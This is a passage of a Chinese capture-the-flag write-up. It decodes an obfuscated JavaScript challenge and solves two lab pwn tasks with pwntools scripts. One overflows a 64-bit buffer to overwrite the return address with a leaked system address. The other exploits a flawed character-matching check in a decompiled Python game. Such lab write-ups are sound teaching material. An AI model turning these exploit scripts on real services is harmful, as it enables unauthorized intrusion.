$$$=~[];$$$={___:++$$$,$$$$:(![]+"")[$$$],__$:++$$$,$_$_:(![]+"")[$$$],_$_:++$$$,$_$$:({}+"")[$$$],$$_$:($$$[$$$]+"")[$$$],_$$:++$$$,$$$_:(!""+"")[$$$],$__:++$$$,$_$:++$$$,$$__:({}+"")[$$$],$$_:++$$$,$$$:++$$$,$___:++$$$,$__$:++$$$};$$$.$_=($$$.$_=$$$+"")[$$$.$_$]+($$$._$=$$$.$_[$$$.__$])+($$$.$$=($$$.$+"")[$$$.__$])+((!$$$)+"")[$$$._$$]+($$$.__=$$$.$_[$$$.$$_])+($$$.$=(!""+"")[$$$.__$])+($$$._=(!""+"")[$$$._$_])+$$$.$_[$$$.$_$]+$$$.__+$$$._$+$$$.$;$$$.$$=$$$.$+(!""+"")[$$$._$$]+$$$.__+$$$._+$$$.$+$$$.$$;$$$.$=($$$.___)[$$$.$_][$$$.$_];$$$.$($$$.$($$$.$$+"\\""+$$$.$$__+$$$._$+"\\\\"+$$$.__$+$$$.$_$+$$$.$$_+"\\\\"+$$$.__$+$$$.$$_+$$$._$$+$$$._$+(![]+"")[$$$._$_]+$$$.$$$_+"."+(![]+"")[$$$._$_]+$$$._$+"\\\\"+$$$.__$+$$$.$__+$$$.$$$+"(\\\\\\"\\\\"+$$$.__$+$$$.___+$$$.$$_+"\\\\"+$$$.__$+$$$.__$+$$$.$__+"\\\\"+$$$.__$+$$$.___+$$$.__$+"\\\\"+$$$.__$+$$$.___+$$$.$$$+"{\\\\"+$$$.__$+$$$.__$+$$$._$_+"\\\\"+$$$.__$+$$$._$_+$$$._$$+"\\\\"+$$$.$__+$$$.___+"\\\\"+$$$.__$+$$$.___+$$$.$_$+"\\\\"+$$$.__$+$$$.$_$+$$$.$$_+$$$.$$__+$$$._$+$$$.$$_$+$$$.$$$_+"\\\\"+$$$.__$+$$$.$$_+$$$._$_+"\\\\"+$$$.$__+$$$.___+"\\\\"+$$$.__$+$$$._$_+$$$._$$+$$$._+$$$.$$__+"\\\\"+$$$.__$+$$$.$_$+$$$._$$+"\\\\"+$$$.__$+$$$.$$_+$$$._$$+"}\\\\\\");"+"\\"")())();
目测又是js，于是360浏览器里的console里跑一发，得到FLAG{JS Encoder Sucks}
Pwn
0x10 pwn100
菜的一批就弄了一个pwn，这题就是要输入一个payload根据返回的地址猜测覆盖到ret所需的字节数，注意是64位的。
脚本如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
io = remote(\'10.4.21.55\',9001)
io.recvuntil("0x")
sys_addr = int(io.recv()[:12],16)
payload = \'f\' * 56
payload += p64(sys_addr)
io.sendline(payload)
io.interactive()
0x11 pwn200(赛后搞出来的，记录一下)
首先用DIE扫一下(也可以在Linux环境下执行file+文件名)，如图
是个pyc文件，去网上在线反编译得到如下代码
#!/usr/bin/env python
# encoding: utf-8
# 访问 http://tool.lu/pyc/ 查看更多信息
__Auther__ = \'M4x\'
from string import printable
from random import choice
from os import system
from sys import stdin, stdout, stderr
from termios import tcflush, TCIFLUSH
from time import sleep
dic = list(printable)
def Flush():
stdout.write(\'stdout1\')
stderr.write(\'stderr1\')
stderr.write(\'stderr1\')
def Help():
print \'\\n\\n\'
print \'M4x will give you 6 random printable chars\'
print \'And you are supposed to match all the chars\'
print \'If you match all the chars successfully, flag will goes to you\'
print \'Good luck!\'
print \'\\n\\n\'
def Play():
tcflush(stdin, TCIFLUSH)
submit = raw_input(\'Give me your 6 chars: \')
if len(submit) != 6:
print \'Error length\'
return None
lotto = [
None] * 6
for i in xrange(6):
lotto[i] = choice(dic)
match = 0
for i in xrange(6):
for j in xrange(6):
if lotto[i] == submit[j]:
match += 1
continue
if match == 6:
system(\'cat flag\')
else:
print \'Have a nice day\'
if __name__ == \'__main__\':
while True:
print \'[*]Select menu\'
print \'[*]1. Play Game\'
print \'[*]2. Seek Help\'
print \'[*]3. Exit\'
menu = input(\'Your choice: \')
if menu == 1:
Play()
continue
if menu == 2:
Help()
continue
if menu == 3:
print \'See you!\'
break
continue
print \'Invald menu\'
pwn的题目当然是要找漏洞啦，关键在这
for i in xrange(6):
for j in xrange(6):
#lotto是随机得到的长度为6的字符串，submit是我们输入的
if lotto[i] == submit[j]:
match += 1
continue
可以看到它每次都将lotto的一个元素和submit的所有元素比较一遍，匹配的话match就加一，那么我们输入的submit只需要赋为6个元素都相同的字符串，接下来就是不断地发送payload。
脚本如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
io = remote(\'10.4.21.55\',9002)
payload = \'a\'*6
while(1):
io.recvuntil(\'choice: \')
io.sendline(\'1\')
io.recvuntil("chars: ")
io.sendline(payload)
str = io.recvline()
print str
io.interactive()
题目出处：Islab
题目链接：https://pan.baidu.com/s/1eSpQ9qi
密码：4jlf